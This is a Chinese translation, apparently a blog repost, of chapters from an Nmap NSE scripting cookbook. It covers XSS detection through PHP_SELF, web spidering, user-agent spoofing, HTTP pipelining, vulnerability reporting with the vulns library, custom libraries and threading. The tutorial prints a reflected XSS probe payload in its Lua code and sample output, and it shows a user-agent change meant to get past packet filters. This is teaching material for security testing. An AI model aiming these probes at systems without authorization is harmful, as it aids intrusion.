$ nmap -p80 --script http-phpself-xss.nse <target>
如果 PHP 文件通过$_SERVER["PHP_SELF"]
注入易受跨站脚本攻击,输出将类似于这样:
PORT STATE SERVICE REASON
80/tcp open http syn-ack
http-phpself-xss:
VULNERABLE:
Unsafe use of $_SERVER["PHP_SELF"] in PHP files
State: VULNERABLE (Exploitable)
Description:
PHP files are not handling safely the variable $_SERVER["PHP_SELF"] causing Reflected Cross Site Scripting vulnerabilities.
Extra information:
Vulnerable files with proof of concept:
http://calder0n.com/sillyapp/three.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
http://calder0n.com/sillyapp/secret/2.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
http://calder0n.com/sillyapp/1.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
http://calder0n.com/sillyapp/secret/1.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=calder0n.com
References:
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
http://php.net/manual/en/reserved.variables.server.php
它是如何工作的...
脚本http-phpself-xss
依赖于库httpspider
。该库提供了一个返回发现的 URI 迭代器的 Web 爬虫接口。在进行 Web 渗透测试时,该库非常有用,因为它加快了几项测试,否则将不得不手动完成或使用第三方工具。
PHP 为开发人员提供了一个名为$_SERVER["PHP_SELF"]
的变量,用于检索执行 PHP 脚本的文件名。不幸的是,这是一个可以被用户提供的数据篡改的值,许多开发人员在其脚本中不安全地使用它,导致反射型跨站脚本(XSS)漏洞。
首先,我们初始化一个 Web 爬虫。我们设置起始路径和超时值:
local timeout = stdnse.get_script_args(SCRIPT_NAME..'.timeout') or 10000
local crawler = httpspider.Crawler:new(host, port, uri, { scriptname = SCRIPT_NAME } )
crawler:set_timeout(timeout)
Web 爬虫的行为可以通过以下库参数进行修改:
-
url
:开始爬行的基本 URL。 -
maxpagecount
:在退出之前要访问的最大页面数。 -
useheadfornonwebfiles
:当发现二进制文件时,通过使用HEAD
来节省带宽。未被视为二进制文件的文件列表在file /nselib/data/http-web-file-extensions.lst
中定义。 -
noblacklist
:不加载黑名单规则。不建议使用此选项,因为它将下载所有文件,包括二进制文件。 -
withinhost
:过滤掉不在同一主机上的 URI。 -
withindomain
:过滤掉不在同一域中的 URI。
我们通过 URI 迭代查找扩展名为.php
的文件:
while(true) do
local status, r = crawler:crawl()
local parsed = url.parse(tostring(r.url))
if ( parsed.path and parsed.path:match(".*.php") ) then
…
end
end
处理每个扩展名为.php
的 URI,并使用http.get()
函数为每个 URI 发送一个注入探测:
local PHP_SELF_PROBE = '/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E'
probe_response = http.get(host, port, uri .. PHP_SELF_PROBE)
check_probe_response()
函数只是在响应中查找注入的文本,借助string.find()
的一些帮助:
if string.find(response.body, "'\"/><script>alert(1)</script>", 1, true) ~= nil then
return true
end
return false
执行后,我们检查存储有漏洞 URI 的表,并将它们报告为额外信息:
if ( #vulnpages > 0 ) then
vuln.state = vulns.STATE.EXPLOIT
vulnpages.name = "Vulnerable files with proof of concept:"
vuln.extra_info = stdnse.format_output(true, vulnpages)..crawler:getLimitations()
end
return vuln_report:make_output(vuln)
还有更多...
建议您包含一条消息,通知用户有关 Web 爬虫使用的设置,因为它可能在完成测试之前退出。函数crawler:getLimitations()
将返回一个显示爬虫设置的字符串:
Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=scanme.nmap.org
库httpspider
的官方文档可以在nmap.org/nsedoc/lib/httpspider.html
找到。
调试 NSE 脚本
如果发生意外情况,请打开调试以获取额外信息。Nmap 使用-d
标志进行调试,您可以设置 0 到 9 之间的任何整数:
$ nmap -p80 --script http-google-email -d4 <target>
通过设置用户代理来设置用户代理
有一些数据包过滤产品会阻止使用 Nmap 的默认 HTTP 用户代理的请求。您可以通过设置参数http.useragent
来使用不同的用户代理值:
$ nmap -p80 --script http-sqli-finder --script-args http.useragent="Mozilla 42" <target>
要在您的 NSE 脚本中设置用户代理,可以传递header
字段:
options = {header={}}
options['header']['User-Agent'] = "Mozilla/9.1 (compatible; Windows NT 5.0 build 1420;)"
local req = http.get(host, port, uri, options)
HTTP 管线处理
一些 Web 服务器配置支持在单个数据包中封装多个 HTTP 请求。这可能会加快 NSE HTTP 脚本的执行速度,如果 Web 服务器支持的话,建议使用。默认情况下,http
库尝试对 40 个请求进行管线处理,并根据网络条件和Keep-Alive
标头自动调整该数字。
用户需要设置脚本参数http.pipeline
来调整此值:
$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target>
要在您的 NSE 脚本中实现 HTTP 管线处理,请使用函数http.pipeline_add()
和http.pipeline()
。首先,初始化一个变量来保存请求:
local reqs = nil
使用http.pipeline_add()
将请求添加到管道中:
reqs = http.pipeline_add('/Trace.axd', nil, reqs)
reqs = http.pipeline_add('/trace.axd', nil, reqs)
reqs = http.pipeline_add('/Web.config.old', nil, reqs)
当您添加请求完成后,使用http.pipeline()
执行管道:
local results = http.pipeline(target, 80, reqs)
变量结果将包含添加到 HTTP 请求队列的响应对象的数量。要访问它们,您可以简单地遍历对象:
for i, req in pairs(results) do
stdnse.print_debug(1, "Request #%d returned status %d", I, req.status)
end
异常处理
nmap
库为设计用于帮助网络 I/O 任务的 NSE 脚本提供了异常处理机制。
nmap
库的异常处理机制按预期工作。我们将要监视异常的代码包装在nmap.try()
调用内。函数返回的第一个值表示完成状态。如果返回false
或nil
,则第二个返回值必须是错误字符串。在成功执行的其余返回值可以根据需要设置和使用。由nmap.new_try()
定义的catch
函数将在引发异常时执行。
以下示例是脚本mysql-vuln-cve2012-2122.nse
的代码片段(nmap.org/nsedoc/scripts/mysql-vuln-cve2012-2122.html
)。在此脚本中,catch
函数执行一些简单的垃圾收集,如果套接字保持打开状态:
local catch = function() socket:close() end
local try = nmap.new_try(catch)
…
try( socket:connect(host, port) )
response = try( mysql.receiveGreeting(socket) )
NSE 库nmap
的官方文档可以在nmap.org/nsedoc/lib/nmap.html
找到。
另请参阅
-
识别易受攻击的 Trendnet 网络摄像头的 HTTP 请求的制作
-
通过使用 NSE 套接字发送 UDP 有效载荷的食谱
-
利用路径遍历漏洞与 NSE 的食谱
-
编写暴力脚本的食谱
-
在 NSE 脚本中正确报告漏洞的食谱
-
撰写自己的 NSE 库食谱
在 NSE 脚本中正确报告漏洞
Nmap 脚本引擎非常适合检测漏洞,因此 Nmap 已经包含了几个利用脚本。不久之前,每个开发人员都使用自己的标准来报告这些漏洞时要包含的输出。为了解决这个问题并统一输出格式和提供的信息量,引入了vulns
库。
这个食谱将教你如何通过使用vulns
库在你的 NSE 脚本中正确报告漏洞。
如何做...
在 NSE 中正确报告漏洞的正确方法是通过vulns
库。让我们回顾一下报告漏洞的过程:
- 加载
vulns
库(Nmap 6.x 格式):
local vulns = require "vulns"
- 创建
vuln
对象表。特别注意state
字段:
local vuln = { title = "<TITLE GOES HERE>",
state = vulns.STATE.NOT_VULN,
references = {"<URL1>", "URL2"},
description = [[<DESCRIPTION GOES HERE> ]],
IDS = {CVE = "<CVE ID>", BID = "BID ID"},
risk_factor = "High/Medium/Low" }
- 创建报告对象并报告漏洞:
local vuln_report = new vulns.Report:new(SCRIPT_NAME, host, port)
return vuln_report:make_output(vuln)
- 如果状态设置为指示主机是否易受攻击,Nmap 将包括类似的漏洞报告:
PORT STATE SERVICE REASON
80/tcp open http syn-ack
http-vuln-cve2012-1823:
VULNERABLE:
PHP-CGI Remote code execution and source code disclosure
State: VULNERABLE (Exploitable)
IDs: CVE:2012-1823
Description:
According to PHP's website, "PHP is a widely-used general-purpose
scripting language that is especially suited for Web development and
can be embedded into HTML." When PHP is used in a CGI-based setup
(such as Apache's mod_cgid), the php-cgi receives a processed query
string parameter as command line arguments which allows command-line
switches, such as -s, -d or -c to be passed to the php-cgi binary,
which can be exploited to disclose source code and obtain arbitrary
code execution.
Disclosure date: 2012-05-3
Extra information:
Proof of Concept:/index.php?-s
References:
http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1823
http://ompldr.org/vZGxxaQ
工作原理...
vulns
库由 Djalal Harouni 和 Henri Doreau 引入,用于统一执行漏洞检查的 NSE 脚本返回的输出。该库还管理和跟踪已完成的安全检查,这对于希望列出安全检查的用户来说是一个有用的功能,即使目标不易受攻击。
漏洞表可以包含以下字段:
-
title
:指示漏洞标题的字符串。此字段是必需的。 -
state
:此字段指示漏洞检查的不同可能状态。此字段是必需的。查看表vulns.STATE
以获取所有可能的值。 -
IDS
:存储 CVE 和 BID ID 的字段。它用于自动生成咨询 URL。 -
risk_factor
:表示风险因素的字符串:高
/中
/低
。 -
scores
:存储 CVSS 和 CVSSv2 分数的字段。 -
description
:漏洞描述。 -
dates
:与此漏洞相关的日期字段。 -
check_results
:用于存储返回结果的字符串或字符串列表。 -
exploit_results
:用于存储利用结果的字符串或字符串列表。 -
extra_info
:用于存储附加信息的字符串或字符串列表。 -
references
:要包括为引用的 URI 列表。如果设置了 IDS 表,库将自动生成 CVE 和 BID 链接的 URI。
正如您之前看到的,报告 NSE 中的漏洞非常简单。首先,我们创建一个包含所有漏洞信息的表:
local vuln = { title = "<TITLE GOES HERE>", state = vulns.STATE.NOT_VULN, ... }
要向用户报告,我们需要一个报告对象:
local vuln_report = new vulns.Report:new(SCRIPT_NAME, host, port)
包含此库的 NSE 脚本中应使用的最后一个函数是make_output()
。如果发现目标易受攻击,它将生成并显示报告,或者如果没有发现目标易受攻击,则返回nil
。
return vuln_report:make_output(vuln)
如果您想学习更多使用此库的 NSE 脚本,请访问nmap.org/nsedoc/categories/vuln.html
。请注意,并非所有脚本都使用它,因为该库是最近引入的。
还有更多...
您可以告诉 Nmap 通过使用库参数vulns.showall
报告 NSE 执行的所有漏洞检查:
# nmap -sV --script vuln --script-args vulns.showall <target>
将显示所有漏洞检查的列表:
| http-vuln-cve2011-3192:
| VULNERABLE:
| Apache byterange filter DoS
| State: VULNERABLE
| IDs: CVE:CVE-2011-3192 OSVDB:74721
| Description:
| The Apache web server is vulnerable to a denial of service attack when numerous
| overlapping byte ranges are requested.
| Disclosure date: 2011-08-19
| References:
| http://nessus.org/plugins/index.php?view=single&id=55976
| http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
| http://osvdb.org/74721
|_ http://seclists.org/fulldisclosure/2011/Aug/175
| http-vuln-cve2011-3368:
| NOT VULNERABLE:
| Apache mod_proxy Reverse Proxy Security Bypass
| State: NOT VULNERABLE
| IDs: CVE:CVE-2011-3368 OSVDB:76079
| References:
| http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3368
|_ http://osvdb.org/76079
如果需要更多灵活性,此库还可以与 prerule 和 postrule 操作结合使用。NSE 库vulns
的在线文档可在nmap.org/nsedoc/lib/vulns.html
找到。
库 vulns 的漏洞状态
库vulns
可以标记具有可利用性状态的主机,用于指示 Nmap 脚本引擎是否存在主机中的某些漏洞。
以下是来自vulns
库的片段,显示了支持的状态和报告中使用的相应字符串消息:
STATE_MSG = {
[STATE.LIKELY_VULN] = 'LIKELY VULNERABLE',
[STATE.NOT_VULN] = 'NOT VULNERABLE',
[STATE.VULN] = 'VULNERABLE',
[STATE.DoS] = 'VULNERABLE (DoS)',
[STATE.EXPLOIT] = 'VULNERABLE (Exploitable)',
[bit.bor(STATE.DoS,STATE.VULN)] = 'VUNERABLE (DoS)',
[bit.bor(STATE.EXPLOIT,STATE.VULN)] = 'VULNERABLE (Exploitable)',
}
另请参阅
-
制作 HTTP 请求以识别易受攻击的 Trendnet 网络摄像头配方
-
使用 NSE 套接字发送 UDP 负载配方
-
利用 NSE 的路径遍历漏洞配方
-
编写蛮力脚本配方
-
使用 Web 爬虫库配方
-
编写您自己的 NSE 库配方
编写您自己的 NSE 库
有时您会意识到您正在编写的代码可以放入库中,以便其他 NSE 脚本重复使用。编写 NSE 库的过程很简单,我们只需要考虑一些特定的事情,比如不要访问其他脚本使用的全局变量。尽管首选 Lua 模块,但 Nmap 脚本引擎还通过 Lua C API 支持 C 模块,以提供额外的性能。
此配方将教您如何创建自己的 Lua NSE 库。
如何做...
创建库的过程与编写脚本类似。只需记住您正在使用的变量的范围。让我们创建一个简单的库:
- 创建一个名为
mylibrary.lua
的新文件,并开始输入您可能需要的所需库:
local math = require "math"
- 现在,只需将函数添加到您的库中。我们将创建一个返回经典的
"Hello World!"
消息的函数:
function hello_word()
return "Hello World!"
end
- 将您的库文件放入
/nselib/
目录中。创建一个新的 NSE 脚本,并在其中添加require()
调用:
local mylibrary = require "mylibrary"
- 从脚本内部执行您的方法。如果无法访问该方法,则可能为函数设置了不正确的范围分配:
mylibrary.hello_world()
它是如何工作的...
LUA NSE 库存储在您配置的数据目录中的/nselib/
目录中。要创建我们自己的库,我们只需要创建.lua
文件并将其放在该目录中:
--hello.lua
local stdnse = require "stdnse"
function hello(msg, name)
return stdnse.format("%s %s", msg, name)
end
NSE 脚本现在可以导入您的 NSE 库并调用可用的函数:
local hello = require "hello"
...
hello.foo()
在将其提交到<nmap-dev@insecure.org>
之前,有必要对您的库进行良好的文档记录,以帮助其他开发人员快速了解您的新库的目的和功能。
还有更多...
为了避免错误地覆盖其他脚本使用的全局变量,请包含模块strict.lua
。该模块将在运行时每次访问或修改未声明的全局变量时提醒您。
调试 NSE 脚本
如果发生意外情况,请打开调试以获取更多信息。Nmap 使用-d
标志进行调试,您可以设置 0 到 9 之间的任何整数:
$ nmap -p80 --script http-google-email -d4 <target>
异常处理
nmap
库为 NSE 脚本提供了一个异常处理机制,旨在帮助处理网络 I/O 任务。
nmap 库中的异常处理机制按预期工作。我们将要监视异常的代码包装在nmap.try()
调用中。函数返回的第一个值表示完成状态。如果返回false
或nil
,则第二个返回值必须是错误字符串。在成功执行的其余返回值可以根据需要进行设置和使用。当引发异常时,由nmap.new_try()
定义的catch
函数将执行。
以下示例是脚本mysql-vuln-cve2012-2122.nse
的代码片段(nmap.org/nsedoc/scripts/mysql-vuln-cve2012-2122.html
)。在这个脚本中,catch
函数执行一些简单的垃圾回收,如果套接字保持打开状态:
local catch = function() socket:close() end
local try = nmap.new_try(catch)
…
try( socket:connect(host, port) )
response = try( mysql.receiveGreeting(socket) )
NSE 库的官方文档可以在nmap.org/nsedoc/lib/nmap.html
找到。
在 C 中导入模块
一些包含在 Nmap 脚本引擎中的模块是用 C++或 C 编写的。这些语言提供了增强的性能,在所需任务的关键方面推荐使用。
我们可以通过遵循在以下详细描述的协议,在我们的脚本中使用 Lua C API 中的编译 C 模块:
另请参阅
-
向 Trendnet 网络摄像头发送 HTTP 请求以识别漏洞的方法
-
使用 NSE 套接字发送 UDP 负载的方法
-
利用 NSE 利用路径遍历漏洞的方法
-
编写暴力脚本的方法
-
使用网络爬虫库的方法
-
在 NSE 脚本中正确报告漏洞
在 NSE 中使用线程、条件变量和互斥锁
Nmap 脚本引擎通过实现线程、条件变量和互斥锁,提供了对脚本并行性的更精细控制。每个 NSE 脚本通常在 Lua 协程或线程中执行,但如果程序员决定这样做,它可能会产生额外的工作线程。
这个方法将教你如何处理 NSE 中的并行性。
如何做...
NSE 线程建议用于需要并行执行网络操作的脚本。让我们看看如何处理我们脚本中的并行性:
- 要创建一个新的 NSE 线程,使用库
stdnse
中的函数new_thread()
:
local co = stdnse.new_thread(worker_main_function, arg1, arg2, arg3, ...)
- 为了同步访问网络资源,在对象上创建一个互斥锁:
local my_mutex = nmap.mutex(object)
- 然后,通过
nmap.mutex(object)
返回的函数可以如下锁定:
my_mutex("trylock")
- 在完成工作后,应使用函数
"done"
释放它:
my_mutex("done")
- NSE 支持条件变量,以帮助您同步线程的执行。要创建条件变量,请使用函数
nmap.condvar(object)
:
local o = {}
local my_condvar = nmap.condvar(o)
- 之后,您可以等待、信号或广播条件变量:
my_condvar("signal")
它是如何工作的...
NSE 脚本在进行网络操作时会透明地产生。脚本编写者可能希望执行并行的网络任务,比如脚本http-slowloris
打开几个套接字并同时保持它们打开。NSE 线程通过允许脚本编写者产生并行网络操作来解决这个问题。
函数stdnse.new_thread
的第一个参数是新工作线程的主函数。此函数将在创建新线程后执行。脚本编写者可以将任何额外的参数作为可选参数传递给stdnse.new_thread()
。
local co = stdnse.new_thread(worker_main_function, arg1, arg2, arg3, ...)
NSE 忽略了工作线程的返回值,它们无法报告脚本输出。官方文档建议使用upvalues
、函数参数或环境来将结果报告回基本线程。
执行后,它返回基本协程和状态查询函数。此状态查询函数返回最多两个值:使用基本coroutine
的coroutine.status
的结果,以及如果发生错误,则为错误对象。
互斥锁或互斥对象被实现用来保护诸如 NSE 套接字之类的资源。可以对互斥锁执行以下操作:
-
lock
:锁定互斥锁。如果互斥锁被占用,工作线程将让出并等待直到释放。 -
trylock
:尝试以非阻塞方式锁定互斥锁。如果互斥锁被占用,它将返回 false。(不会像lock
函数那样让出。) -
done
:释放互斥锁。其他线程可以在此之后锁定它。 -
running
:除了用于调试之外,根本不应该使用此函数,因为它会影响已完成线程的线程收集。
条件变量被实现以帮助开发人员协调线程之间的通信。可以对条件变量执行以下操作:
-
broadcast
:恢复条件变量队列中的所有线程 -
wait
:将当前线程添加到条件变量的等待队列中 -
signal
:从等待队列中发出信号的线程
要阅读脚本并行性的实现,建议阅读 NSE 脚本broadcast-ping
,ssl-enum-ciphers
,firewall-bypass
,http-slowloris
或broadcast-dhcp-discover
的源代码。
还有更多...
Lua 提供了一个有趣的功能,称为协程。每个协程都有自己的执行堆栈。最重要的部分是我们可以通过coroutine.resume()
和coroutine.yield()
挂起和恢复执行。引入了函数stdnse.base()
来帮助确定主脚本线程是否仍在运行。它返回运行脚本的基本协程。
您可以从 Lua 的官方文档中了解有关协程的更多信息:
调试 NSE 脚本
如果发生意外情况,请打开调试以获取更多信息。Nmap 使用-d
标志进行调试,您可以设置 0 到 9 之间的任何整数:
$ nmap -p80 --script http-google-email -d4 <target>
异常处理
nmap
库为设计用于帮助网络 I/O 任务的 NSE 脚本提供了异常处理机制。
nmap
库的异常处理机制按预期工作。我们将想要监视异常的代码包装在nmap.try()
调用内。函数返回的第一个值表示完成状态。如果返回false
或nil
,则第二个返回值必须是错误字符串。在成功执行的其余返回值可以根据需要设置和使用。nmap.new_try()
定义的catch
函数将在引发异常时执行。
以下示例是脚本mysql-vuln-cve2012-2122.nse
的代码片段(nmap.org/nsedoc/scripts/mysql-vuln-cve2012-2122.html
)。在此脚本中,catch
函数在套接字保持打开时执行一些简单的垃圾回收:
local catch = function() socket:close() end
local try = nmap.new_try(catch)
…
try( socket:connect(host, port) )
response = try( mysql.receiveGreeting(socket) )
NSE 库nmap
的官方文档可以在nmap.org/nsedoc/lib/nmap.html
找到。
另请参阅
-
发出 HTTP 请求以识别易受攻击的 Trendnet 网络摄像头配方
-
使用 NSE 套接字发送 UDP 负载配方
-
利用 NSE 的路径遍历漏洞配方
-
编写暴力脚本配方
-
使用 Web 爬虫库配方
-
在 NSE 脚本中正确报告漏洞配方
附录 A:参考资料
这个附录反映了人们对 Nmap 所做的大量工作。我建议您阅读这本食谱,并参考 Nmap 官方文档中显示的以下 URL 的信息:
安装和编译 Nmap - nmap.org/book/install.html
服务和应用程序版本检测 - nmap.org/book/vscan.html
Nping 的回显模式 - nmap.org/book/nping-man-echo-mode.html
Zenmap - nmap.org/zenmap/
操作系统检测 - nmap.org/book/man-os-detection.html
端口扫描技术 - nmap.org/book/man-port-scanning-techniques.html
主机发现 - nmap.org/book/man-host-discovery.html
Nmap 杂项选项 - nmap.org/book/man-misc-options.html
NSEDoc - nmap.org/nsedoc/
ip-geolocation-geobytes.nse
文档 - nmap.org/nsedoc/scripts/ip-geolocation-geobytes.html
ip-geolocation-geoplugin.nse
文档 - nmap.org/nsedoc/scripts/ip-geolocation-geoplugin.html
ip-geolocation-ipinfodb.nse
文档 - nmap.org/nsedoc/scripts/ip-geolocation-ipinfodb.html
ip-geolocation-maxmind.nse
文档 - nmap.org/nsedoc/scripts/ip-geolocation-maxmind.html
whois.nse
文档 - nmap.org/nsedoc/scripts/whois.html
http-google-malware.nse
文档 - nmap.org/nsedoc/scripts/http-google-malware.html
dns-brute.nse
文档 - nmap.org/nsedoc/scripts/dns-brute.html
ipidseq.nse
文档 - nmap.org/nsedoc/scripts/ipidseq.html
外部脚本库 - secwiki.org/w/Nmap/External_Script_Library
http-methods.nse
文档 - nmap.org/nsedoc/scripts/http-methods.html
http-open-proxy.nse
文档 - nmap.org/nsedoc/scripts/http-open-proxy.html
http-phpself-xss.nse
文档 - nmap.org/nsedoc/scripts/http-phpself-xss.html
http-waf-detect.nse
文档 - nmap.org/nsedoc/scripts/http-waf-detect.html
http-userdir-enum.nse
文档 - nmap.org/nsedoc/scripts/http-userdir-enum.html
http-enum.nse
文档 - nmap.org/nsedoc/scripts/http-enum.html
http-brute.nse
文档 - nmap.org/nsedoc/scripts/http-brute.html
http
-default-accounts.nse
文档 - nmap.org/nsedoc/scripts/http-default-accounts.html
http-wordpress-brute.nse
文档 - nmap.org/nsedoc/scripts/http-wordpress-brute.html
http-trace.nse
文档 - nmap.org/nsedoc/scripts/http-trace.html
http-joomla-brute.nse
文档 – nmap.org/nsedoc/scripts/http-joomla-brute.html
http-unsafe-output-escaping.nse
文档 – nmap.org/nsedoc/scripts/http-unsafe-output-escaping.html
http
-sql-injection.nse
文档 – nmap.org/nsedoc/scripts/http-sql-injection.html
http-slowloris.nse
文档 – nmap.org/nsedoc/scripts/http-slowloris.html
ms-sql-brute.nse
文档 – nmap.org/nsedoc/scripts/ms-sql-brute.html
mysql-databases.nse
文档 – nmap.org/nsedoc/scripts/mysql-databases.html
mysql-empty-password.nse
文档 – nmap.org/nsedoc/scripts/mysql-empty-password.html
mysql-variables.nse
文档 – nmap.org/nsedoc/scripts/mysql-variables.html
mysql-brute.nse
文档 – nmap.org/nsedoc/scripts/mysql-brute.html
mysql-audit.nse
文档 – nmap.org/nsedoc/scripts/mysql-audit.html
oracle-brute.nse
文档 – nmap.org/nsedoc/scripts/oracle-brute.html
oracle-sid-brute.nse
文档 – nmap.org/nsedoc/scripts/oracle-sid-brute.html
ms-sql-info.nse
文档 – nmap.org/nsedoc/scripts/ms-sql-info.html
ms-sql-empty-password.nse
文档 – nmap.org/nsedoc/scripts/ms-sql-empty-password.html
ms-sql-dump-hashes.nse
文档 – nmap.org/nsedoc/scripts/ms-sql-dump-hashes.html
ms-sql-xp-cmdshell.nse
文档 – nmap.org/nsedoc/scripts/ms-sql-xp-cmdshell.html
mongodb-databases.nse
文档 – nmap.org/nsedoc/scripts/mongodb-databases.html
mongodb-info.nse
文档 – nmap.org/nsedoc/scripts/mongodb-info.html
couchdb-databases.nse
文档 – nmap.org/nsedoc/scripts/couchdb-databases.html
couchdb-stats.nse
文档 – nmap.org/nsedoc/scripts/couchdb-stats.html
http-google-search.nse
文档 – seclists.org/nmap-dev/2011/q3/att-401/http-google-email.nse
smtp-open-relay.nse
文档 – nmap.org/nsedoc/scripts/smtp-open-relay.html
smtp-brute.nse
文档 – nmap.org/nsedoc/scripts/smtp-brute.html
smtp-enum-users.nse
文档 – nmap.org/nsedoc/scripts/smtp-enum-users.html
smtp-strangeport.nse
文档 – nmap.org/nsedoc/scripts/smtp-strangeport.html
imap-brute.nse
文档 – nmap.org/nsedoc/scripts/imap-brute.html
imap-capabilities.nse
文档 – nmap.org/nsedoc/scripts/imap-capabilities.html
pop3-brute.nse
文档 - nmap.org/nsedoc/scripts/pop3-brute.html
pop3-capabilities.nse
文档 - nmap.org/nsedoc/scripts/pop3-capabilities.html
smtp-vuln-cve2011-1764.nse
文档 - nmap.org/nsedoc/scripts/smtp-vuln-cve2011-1764.html
时序和性能 - nmap.org/book/man-performance.html
Nmap 脚本引擎(NSE) - nmap.org/book/man-nse.html
Dnmap - mateslab.weebly.com/dnmap-the-distributed-nmap.html
Nmap 输出 - nmap.org/book/man-output.html
脚本并行性 - nmap.org/book/nse-parallelism.html
NSE 库 stdnse - nmap.org/nsedoc/lib/stdnse.html#new_thread
NSE 库 nmap - nmap.org/nsedoc/lib/nmap.html#mutex
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步